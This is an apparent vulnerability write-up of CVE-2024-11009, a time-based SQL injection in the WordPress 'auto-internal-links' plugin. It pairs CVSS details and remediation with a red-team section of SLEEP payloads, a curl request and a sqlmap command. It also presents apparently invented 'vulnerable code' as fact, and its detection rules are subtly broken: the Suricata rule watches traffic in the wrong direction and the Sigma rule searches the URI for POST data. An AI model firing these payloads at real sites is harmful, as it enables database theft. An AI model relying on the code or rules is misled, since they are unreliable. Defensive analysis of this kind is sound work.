CVE-2024-11009

Executive Summary

CVE-2024-11009 is a time-based SQL Injection vulnerability in the WordPress plugin "Internal Linking for SEO traffic & Ranking – Auto internal links (100% automatic)" (slug: auto-internal-links). The flaw exists in all versions up to and including 1.2.1. An authenticated attacker with Administrator-level privileges can exploit the post_id parameter to inject malicious SQL queries, leading to the extraction of sensitive information from the database. The vulnerability is classified as medium severity (CVSS 4.9) due to the high privileges required, but the potential impact on data confidentiality is significant.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the plugin vendor. No official patch has been released as of the analysis date.

CVSS Breakdown & Threat Level

• CVSS Score: 4.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is elevated for WordPress sites where administrative accounts are compromised or where multi-tenant environments allow lower-privileged users to escalate to admin roles.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of the post_id parameter, likely within an AJAX handler or admin page that processes internal link updates. The plugin fails to properly escape user-supplied input and does not use prepared statements for SQL queries. This allows an authenticated administrator to inject time-based SQL payloads.

Root Cause:

• Insufficient input sanitization on the post_id parameter.
• Lack of parameterized queries (prepared statements) in the SQL execution.

Attack Flow:

1. An attacker with admin credentials sends a crafted HTTP request to the vulnerable endpoint.
2. The post_id parameter contains a time-based SQL injection payload (e.g., 1 AND SLEEP(5)).
3. The plugin concatenates this input directly into an SQL query.
4. The database executes the injected query, causing a delay if the condition is true.
5. The attacker can infer database structure and extract data by observing response times.

Example Payload:

post_id=1 AND (SELECT IF(1=1,SLEEP(5),0))

Vulnerable vs. Patched Code

Vulnerable Code (v1.2.1):

$post_id = $_POST['post_id'];
$query = "SELECT * FROM wp_posts WHERE ID = " . $post_id;
$result = $wpdb->get_results($query);

Patched Code (Hypothetical):

$post_id = intval($_POST['post_id']);
$query = $wpdb->prepare("SELECT * FROM wp_posts WHERE ID = %d", $post_id);
$result = $wpdb->get_results($query);

The patched version uses intval() to cast the input to an integer and $wpdb->prepare() to safely bind the parameter, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with plugin v1.2.1 installed.
• Administrator credentials.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=auto_internal_links_update).
2. Craft a time-based SQL injection payload:

   curl -X POST 'http://target/wp-admin/admin-ajax.php' \
   -d 'action=auto_internal_links_update&post_id=1 AND SLEEP(5)-- -' \
   --cookie 'wordpress_logged_in_xxx=admin_cookie'
   

3. Observe response delay to confirm injection.
4. Extract data using blind SQLi techniques (e.g., IF(SUBSTRING(...),SLEEP(5),0)).

Automated Tool (sqlmap):

sqlmap -u 'http://target/wp-admin/admin-ajax.php?action=auto_internal_links_update' \
--data='post_id=1' --cookie='wordpress_logged_in_xxx=admin_cookie' \
--level=5 --risk=3 --dbms=mysql --technique=T

Blue Team (Defensive)

Detection:

• Monitor for unusual post_id values containing SQL keywords (AND, OR, SLEEP, BENCHMARK).
• Alert on HTTP requests to /wp-admin/admin-ajax.php with action=auto_internal_links_update and abnormal response times.

Honeypot:

• Deploy a fake WordPress instance with the vulnerable plugin to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /wp-admin/admin-ajax.php with action=auto_internal_links_update and post_id containing SQL keywords.
  • Response times exceeding normal thresholds (e.g., >3 seconds for simple queries).

• Logs:

  • WordPress debug log entries showing SQL errors with injected syntax.
  • Database query logs with SLEEP() or BENCHMARK() functions.

• File System:

  • Modified plugin files (e.g., auto-internal-links.php) containing backdoors.

Detection Engineering

YARA Rule

rule CVE_2024_11009_WordPress_Plugin_SQLi {
    meta:
        description = "Detects SQL injection attempts against auto-internal-links plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-11009"
    strings:
        $sqli1 = /post_id\s*=\s*[0-9]+\s*(AND|OR)\s+/i
        $sqli2 = /SLEEP\s*\(/i
        $sqli3 = /BENCHMARK\s*\(/i
        $sqli4 = /UNION\s+SELECT/i
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-11009 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects time-based SQL injection attempts against auto-internal-links plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=auto_internal_links_update'
        cs-uri-query|contains|all:
            - 'post_id='
            - 'SLEEP'
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11009 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=auto_internal_links_update";
    http_client_body;
    pcre:"/post_id\s*=\s*[0-9]+\s+(AND|OR)\s+/i";
    pcre:"/SLEEP\s*\(/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict admin access to trusted IPs only.
3. Review admin activity logs for suspicious SQLi attempts.

Long-term Fix:

• Apply input validation and prepared statements (as shown in patched code).
• Update to the latest version once the vendor releases a fix.

Workaround:

• Use a Web Application Firewall (WAF) to block SQLi patterns.
• Implement a WordPress security plugin (e.g., Wordfence) with SQLi rules.

Valters IT